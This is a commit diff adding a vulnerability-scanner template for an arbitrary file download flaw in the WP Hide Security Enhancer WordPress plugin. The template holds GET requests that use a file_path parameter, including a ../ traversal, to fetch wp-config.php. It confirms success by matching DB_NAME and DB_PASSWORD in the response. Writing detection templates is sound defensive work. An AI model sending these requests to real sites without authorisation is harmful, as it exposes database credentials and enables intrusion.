Create wp-hide-security-enhancer-lfi.yaml

vulnerabilities/wordpress/wp-hide-security-enhancer-lfi.yaml

@@ -0,0 +1,30 @@
+id: wp-hide-security-enhancer-lfi
+
+info:
+  name: Arbitrary File Download Vulnerability in WP Hide Security Enhancer 1.3.9.2
+  author: dhiyaneshDK
+  severity: critical
+  description: WP Hide Security Enhancer version 1.3.9.2 or less is victim of an Arbitrary File Download vulnerability. This allows any visitor to download any file in our installation
+  reference:
+    - https://secupress.me/blog/arbitrary-file-download-vulnerability-in-wp-hide-security-enhancer-1-3-9-2/
+  tags: wordpress,wp-plugin,lfi
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/wp-hide-security-enhancer/router/file-process.php?action=style-clean&file_path=/wp-config.php'
+      - '{{BaseURL}}/wp-content/plugins/wp-hide-security-enhancer/router/file-process.php?action=style-clean&file_path=/../wp-config.php'
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "DB_NAME"
+          - "DB_PASSWORD"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200